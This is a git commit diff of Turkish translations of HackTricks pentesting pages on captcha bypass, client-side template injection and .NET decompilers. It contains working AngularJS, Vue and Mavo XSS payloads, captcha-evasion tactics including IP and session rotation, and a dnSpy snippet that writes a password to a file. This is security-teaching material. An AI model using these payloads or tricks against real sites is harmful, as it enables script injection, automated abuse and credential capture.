Translated ['pentesting-web/captcha-bypass.md', 'pentesting-web/client-s

This commit is contained in:
Translator 2024-03-10 13:32:19 +00:00
parent c843c19a5f
commit c44860c371
3 changed files with 109 additions and 117 deletions

View file

@ -2,66 +2,62 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
</details>
## Captcha Geçme
**Sunucu testi** sırasında captcha'yı **geçmek** ve kullanıcı giriş işlevlerini otomatikleştirmek için çeşitli teknikler kullanılabilir. Amaç, güvenliği zayıflatmak değil, test sürecini hızlandırmaktır. İşte kapsamlı bir strateji listesi:
**Sunucu testi** sırasında captcha'yı geçmek ve kullanıcı giriş işlevlerini otomatikleştirmek için çeşitli teknikler kullanılabilir. Amaç, güvenliği zayıflatmak değil, test sürecini optimize etmektir. İşte stratejilerin kapsamlı bir listesi:
1. **Parametre Manipülasyonu**:
* **Captcha Parametresini Atla**: Captcha parametresini göndermemeye çalışın. HTTP yöntemini POST'tan GET veya diğer fiillere değiştirmeyi, veri formatını değiştirmeyi (form verisi ve JSON arasında geçiş yapmayı) deneyin.
* **Boş Captcha Gönder**: Captcha parametresini boş bırakarak isteği gönderin.
* **Captcha Parametresini Atla**: Captcha parametresini göndermeyi denemeyin. HTTP yöntemini POST'tan GET'e veya diğer fiillere değiştirme ve veri formatını değiştirme gibi denemeler yapın, örneğin form verisi ile JSON arasında geçiş yapın.
* **Boş Captcha Gönder**: Captcha parametresini bırakarak isteği gönderin.
2. **Değer Çıkarma ve Yeniden Kullanma**:
2. **Değer Çıkarma ve Tekrar Kullanım**:
* **Kaynak Kod İncelemesi**: Sayfanın kaynak kodunda captcha değerini arayın.
* **Çerez Analizi**: Captcha değerinin depolanıp yeniden kullanılıp kullanılmadığını çerezleri inceleyerek bulun.
* **Eski Captcha Değerlerini Yeniden Kullanma**: Daha önce başarılı olan captcha değerlerini tekrar kullanmaya çalışın.
* **Oturum Manipülasyonu**: Farklı oturumlar veya aynı oturum kimliği üzerinde aynı captcha değerini kullanmayı deneyin.
* **Çerez Analizi**: Captcha değerinin depolanıp tekrar kullanılıp kullanılmadığını bulmak için çerezleri inceleyin.
* **Eski Captcha Değerlerini Tekrar Kullanma**: Daha önce başarılı olan captcha değerlerini tekrar kullanmaya çalışın. Bunların her zaman süresinin dolabileceğini unutmayın.
* **Oturum Manipülasyonu**: Aynı captcha değerini farklı oturumlarda veya aynı oturum kimliğinde kullanmayı deneyin.
3. **Otomasyon ve Tanıma**:
* **Matematiksel Captchalar**: Captcha matematiksel işlemler içeriyorsa, hesaplama sürecini otomatikleştirin.
* **Matematiksel Captchalar**: Captcha matematik işlemleri içeriyorsa, hesaplama sürecini otomatikleştirin.
* **Görüntü Tanıma**:
* Görüntüden karakter okuma gerektiren captchalar için, benzersiz görüntü sayısını manuel veya programatik olarak belirleyin. Küme sınırlıysa, her görüntüyü MD5 karma değeriyle tanımlayabilirsiniz.
* Görüntüden karakter okuma gerektiren captchalar için, toplam benzersiz görüntü sayısını manuel veya programatik olarak belirleyin. Küme sınırlıysa, her görüntüyü MD5 karma değeriyle tanımlayabilirsiniz.
* [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) gibi Optik Karakter Tanıma (OCR) araçlarını kullanarak görüntülerden karakter okumayı otomatikleştirin.
4. **Ek Teknikler**:
* **Hız Sınırlama Testi**: Uygulamanın belirli bir zaman diliminde deneme veya gönderim sayısını sınırlayıp sınırlamadığını ve bu sınırlamanın atlanıp sıfırlanıp sıfırlanamayacağını kontrol edin.
* **Üçüncü Taraf Hizmetleri**: Otomatik captcha tanıma ve çözme sunan captcha çözme hizmetlerini veya API'larını kullanın.
* **Oturum ve IP Dönüşümü**: Sunucu tarafından tespit edilme ve engellenmeyi önlemek için oturum kimliklerini ve IP adreslerini sık sık değiştirin.
* **User-Agent ve Header Manipülasyonu**: User-Agent ve diğer istek başlıklarını değiştirerek farklı tarayıcıları veya cihazları taklit edin.
* **Sesli Captcha Analizi**: Sesli captcha seçeneği varsa, konuşma metnine dönüştürme hizmetlerini kullanarak captchayı yorumlayın ve çözün.
* **Hız Sınırlama Testi**: Uygulamanın belirli bir süre içinde deneme veya gönderim sayısını sınırlayıp sınırlamadığını ve bu sınırın atlanıp sıfırlanıp sıfırlanamayacağını kontrol edin.
* **Üçüncü Taraf Hizmetleri**: Otomatik captcha tanıma ve çözme sunan captcha çözme hizmetleri veya API'lerini kullanın.
* **Oturum ve IP Dönüşümü**: Sunucu tarafından algılanmayı ve engellenmeyi önlemek için oturum kimliğini ve IP adresini sık sık değiştirin.
* **Kullanıcı Aracısı ve Başlık Manipülasyonu**: Kullanıcı Aracısı ve diğer istek başlıklarını değiştirerek farklı tarayıcıları veya cihazları taklit edin.
* **Sesli Captcha Analizi**: Sesli captcha seçeneği varsa, metin okuma hizmetlerini kullanarak captchayı yorumlayın ve çözün.
## Captchaları geçmek için çevrimiçi hizmetler
## Captchaları çözmek için çevrimiçi hizmetler
### [Capsolver](https://www.capsolver.com/)
Capsolver'ün otomatik captcha çözücüsü, **en uygun fiyatlı ve hızlı captcha çözme çözümünü** sunar. En iyi sonuçları saniyeler içinde elde etmek için basit entegrasyon seçeneğiyle programınıza hızla entegre edebilirsiniz.
Capsolver'ün başarı oranı %99.15'tir ve her dakika **10 milyondan fazla captchayı çözebilir**. Bu, otomasyonunuzun veya scrape'inizin %99.99 çalışma süresine sahip olacağı anlamına gelir. Büyük bir bütçeniz varsa bir captcha paketi satın alabilirsiniz.
En düşük fiyatla piyasada, reCAPTCHA V2, reCAPTCHA V3, hCaptcha, hCaptcha Click, reCaptcha click, Funcaptcha Click, FunCaptcha, datadome captcha, aws captcha, picture-to-text, binance / coinmarketcap captcha, geetest v3 / v3 ve daha fazlası dahil olmak üzere çeşitli çözümler alabilirsiniz. Bu hizmetle **0.1 saniye en yavaş hızdır**.
Capsolver'ın otomatik captcha çözücüsü, **uygun ve hızlı bir captcha çözme çözümü** sunar. En iyi sonuçları saniyeler içinde elde etmek için basit entegrasyon seçeneği kullanarak programınızla hızla birleştirebilirsiniz. reCAPTCHA V2 ve V3, hCaptcha, FunCaptcha, datadome, aws captcha, resimden metne, binance / coinmarketcap captcha, geetest v3 ve daha fazlasını çözebilir. Bununla birlikte, bu doğrudan bir geçiş değildir.
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
</details>

View file

@ -1,29 +1,29 @@
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
# Özet
Bu, **sunucu tarafı şablon enjeksiyonu (SSTI)** gibi, ancak **istemci** tarafında gerçekleşir. **SSTI**, uzaktaki sunucuda **kod yürütmenizi** sağlayabilirken, **CSTI**, kurban üzerinde **keyfi JavaScript** kodu yürütmenizi sağlayabilir.
Bu, **sunucu tarafı şablon enjeksiyonu** gibi ancak **istemci** tarafında gerçekleşir. **SSTI**, uzaktaki sunucuda **kod yürütmenize izin verirken**, **CSTI**, kurbanın tarayıcısında **keyfi JavaScript kodu yürütmenize izin verebilir**.
Bu zafiyeti **test etmek** için yol, **SSTI** durumunda olduğu gibi çok **benzerdir**, yorumlayıcı, **çift anahtarlar arasında yürütülecek bir şey bekleyecek** ve onu yürütecektir. Örneğin, `{{ 7-7 }}` gibi bir şey kullanarak: sunucu **savunmasız** ise `0` göreceksiniz ve değilse orijinali göreceksiniz: `{{ 7-7 }}`
Bu zafiyetin **test edilmesi**, **SSTI** durumunda olduğu gibi çok **benzerdir**, yorumlayıcı **bir şablon bekler** ve onu yürütür. Örneğin, `{{ 7-7 }}` gibi bir yük ile, uygulama **savunmasız** ise bir `0` göreceksiniz ve değilse, orijinali göreceksiniz: `{{ 7-7 }}`
# AngularJS
AngularJS, HTML ile etkileşime geçen yaygın olarak kullanılan bir JavaScript çerçevesidir ve **`ng-app`** olarak bilinen direktifler aracılığıyla HTML içeriğini işler. Bu direktif, AngularJS'in HTML içeriğini işlemesine olanak tanır ve çift süslü parantezler içinde JavaScript ifadelerinin yürütülmesini sağlar.
AngularJS, HTML ile etkileşime geçen yaygın olarak kullanılan bir JavaScript çerçevesidir ve **`ng-app`** gibi direktifler olarak bilinen özellikler aracılığıyla HTML ile etkileşime geçer. Bu direktif, AngularJS'in HTML içeriğini işlemesine izin verir ve çift süslü parantez içinde JavaScript ifadelerinin yürütülmesini sağlar.
Kullanıcı girinin dinamik olarak `ng-app` ile etiketlenmiş HTML gövdesine eklenmesi durumunda, keyfi JavaScript kodu yürütülebilir. Bunun, giriş içinde AngularJS sözdiziminden yararlanarak başarılabileceği bir örnektir. Aşağıda, JavaScript kodunun nasıl yürütülebileceğini gösteren örnekler bulunmaktadır:
Kullanıcı girdisinin dinamik olarak `ng-app` ile etiketlenmiş HTML gövdesine eklenmesi durumunda, keyfi JavaScript kodu yürütmek mümkündür. Bu, girdi içinde AngularJS sözdiziminden yararlanılarak başarılabilir. Aşağıda, JavaScript kodunun nasıl yürütülebileceğini gösteren örnekler bulunmaktadır:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
@ -32,25 +32,25 @@ Kullanıcı girişinin dinamik olarak `ng-app` ile etiketlenmiş HTML gövdesine
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
**AngularJS**'deki bu zafiyetin çok **basit bir çevrimiçi örneğini** [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) ve **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)** adreslerinde bulabilirsiniz.
**AngularJS**'deki zafiyetin çok **temel bir çevrimiçi örneğini** [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) ve **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**'da bulabilirsiniz.
{% hint style="danger" %}
[**Angular 1.6 sandbox'ı kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) bu yüzden bu sürümden itibaren `{{constructor.constructor('alert(1)')()}}` veya `<input ng-focus=$event.view.alert('XSS')>` gibi bir payload çalışmalıdır.
[**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) bu yüzden bu sürümden itibaren `{{constructor.constructor('alert(1)')()}}` veya `<input ng-focus=$event.view.alert('XSS')>` gibi bir yük çalışmalı.
{% endhint %}
# VueJS
**Zafiyetli bir vue.js** uygulamasını [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) adresinde bulabilirsiniz.\
Çalışan payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
**Zafiyetli bir Vue** uygulamasını [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) adresinde bulabilirsiniz.\
Çalışan yük: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
Ve zafiyetli örneğin **kaynak kodu** burada: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
VUE'da CSTI hakkında gerçekten iyi bir yazı [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) adresinde bulunabilir.
## **V3**
VUE'da CSTI hakkında gerçekten iyi bir yazıya [buradan](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ulaşılabilir.
```
{{_openBlock.constructor('alert(1)')()}}
```
@ -62,11 +62,11 @@ Kredi: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/resear
```
Kredi: [Mario Heiderich](https://twitter.com/cure53berlin)
**Daha fazla VUE payload'una** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) **adresinden bakabilirsiniz**
**Daha fazla VUE yüklemelerini kontrol edin** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
# Mavo
Payload:
Yük:
```
[7*7]
[(1,alert)(1)]
@ -80,23 +80,23 @@ javascript:alert(1)%252f%252f..%252fcss-images
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
**Daha fazla payload için** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
**Daha fazla yükleme** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
# **Brute-Force Algılama Listesi**
# **Kaba Kuvvet Algılama Listesi**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olacak şekilde öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın**.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına PR göndererek paylaşın.**
</details>

View file

@ -6,11 +6,11 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -24,44 +24,43 @@ Yazılım:
Çevrimiçi:
* Wasm'dan (ikili) wat'a (açık metin) **decompile** etmek için [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kullanın
* Wasm'dan (ikili) wat'a (açık metin) **çözümleme** yapmak için [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kullanın
* Wat'tan wasm'a derlemek için [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kullanın
* Ayrıca decompile etmek için [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) deneyebilirsiniz
* Ayrıca [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kullanarak çözümleme yapabilirsiniz
Yazılım:
* [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
* [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
## .Net decompiler
## .NET decompiler
### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek, **kütüphaneler** (.dll), **Windows meta veri dosyaları** (.winmd) ve **yürütülebilir dosyalar** (.exe) dahil olmak üzere **çeşitli formatları decompile eder ve inceler**. Bir derlendikten sonra bir derleme bir Visual Studio projesi (.csproj) olarak kaydedilebilir.
dotPeek, **kütüphaneler** (.dll), **Windows meta veri dosyaları** (.winmd) ve **yürütülebilir dosyalar** (.exe) dahil olmak üzere **çeşitli formatları çözümleyen** bir dekompilerdir. Çözümlendikten sonra bir derleme bir Visual Studio projesi (.csproj) olarak kaydedilebilir.
Buradaki avantaj, kaybolmuş bir kaynak kodunun eski bir derlemeden geri yüklenmesi gerekiyorsa, bu işlem zaman kazandırabilir. Ayrıca, dotPeek, decompile edilen kod boyunca kullanışlı gezinme sağlar, bu da onu **Xamarin algoritma analizi için mükemmel araçlardan biri yapar.**
Buradaki avantaj, kaybolmuş bir kaynak kodunun eski bir derlemeden geri yüklenmesi gerekiyorsa, bu işlem zaman kazandırabilir. Ayrıca, dotPeek, çözümlenen kod boyunca kullanışlı gezinme sağlayarak, **Xamarin algoritma analizi için mükemmel araçlardan biri** yapar.
### [.Net Reflector](https://www.red-gate.com/products/reflector/)
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
Kapsamlı bir eklenti modeli ve aracı tam olarak ihtiyaçlarınıza uyacak şekilde genişleten bir API ile .NET Reflector zaman kazandırır ve geliştirmeyi basitleştirir. Bu aracın sağladığı birçok tersine mühendislik hizmetine bir göz atalım:
Kapsamlı bir eklenti modeli ve aracı tam olarak ihtiyaçlarınıza uyacak şekilde genişleten bir API ile .NET Reflector, zaman kazandırır ve geliştirmeyi basitleştirir. Bu aracın sağladığı birçok tersine mühendislik hizmetine bir göz atalım:
* Verilerin bir kütüphane veya bileşen üzerinden nasıl aktığına dair bir bakış açısı sağlar
* .NET dilleri ve çerçevelerinin uygulanması ve kullanımı hakkında bilgi sağlar
* Kullanılan API'ler ve teknolojilerden daha fazla veri almak için belgelenmemiş ve açığa çıkarılmamış işlevsellikleri bulur
* .NET dilleri ve çerçevelerinin uygulanışı ve kullanımı hakkında bilgi sağlar
* Kullanılan API'ler ve teknolojilerden daha fazlasını elde etmek için belgelenmemiş ve açığa çıkarılmamış işlevselliği bulur
* Bağımlılıkları ve farklı derlemeleri bulur
* Kodunuzdaki hataların, üçüncü taraf bileşenlerin ve kütüphanelerin tam konumunu belirler
* Çalıştığınız tüm .NET kodunun kaynağına hata ayıklar.
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Visual Studio Code için ILSpy eklentisi](https://github.com/icsharpcode/ilspy-vscode): Herhangi bir işletim sisteminde kullanabilirsiniz (doğrudan VSCode'dan yükleyebilirsiniz, git'i indirmenize gerek yok. **Uzantılar** üzerine tıklayın ve **ILSpy** arayın).\
Eğer **decompile**, **değiştir** ve **yeniden derle** ihtiyacınız varsa: [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) (**Sağ Tıkla -> Yöntemi Değiştir** bir fonksiyon içinde bir şey değiştirmek için).\
Ayrıca [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/) deneyebilirsiniz.
[Visual Studio Code için ILSpy eklentisi](https://github.com/icsharpcode/ilspy-vscode): Herhangi bir işletim sisteminde kullanabilirsiniz (doğrudan VSCode'dan yükleyebilirsiniz, git'i indirmenize gerek yok. **Extensions** üzerine tıklayın ve **ILSpy** arayın).\
Eğer **çözümleme**, **değiştirme** ve **yeniden derleme** yapmanız gerekiyorsa [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) veya aktif olarak bakımı yapılan bir çatalı olan [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) kullanabilirsiniz. (Bir fonksiyon içinde bir şey değiştirmek için **Sağ Tıkla -> Yöntemi Değiştir**).
### DNSpy Günlüğü
**DNSpy'nin bazı bilgileri bir dosyaya kaydetmesi** için bu .Net satırlarını kullanabilirsiniz:
```bash
**DNSpy'nin bazı bilgileri bir dosyaya kaydetmesi** için bu kod parçacığını kullanabilirsiniz:
```cs
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
File.AppendAllText(path, "Password: " + password + "\n");
@ -76,30 +75,26 @@ DNSpy kullanarak kodları hata ayıklamak için şunları yapmanız gerekmektedi
```aspnet
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
```
To:
---
## Temel Tersine Mühendislik Araçları ve Yöntemleri
Bu bölümde, temel tersine mühendislik araçları ve yöntemleri hakkında bilgi bulacaksınız. Tersine mühendislik, yazılımın veya donanımın çalışma prensiplerini anlamak için kullanılan bir tekniktir. Bu bölümde, temel tersine mühendislik araçlarını ve bu araçlarla yapılabilecek temel yöntemleri öğreneceksiniz.
Bu bölümde, temel tersine mühendislik araçları ve yöntemleri hakkında bilgi bulacaksınız. Tersine mühendislik, yazılım veya donanımın çalışma prensiplerini anlamak için kullanılan bir tekniktir. Bu bölümde, temel tersine mühendislik araçları ve yöntemleri hakkında bilgi bulacaksınız.
```
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
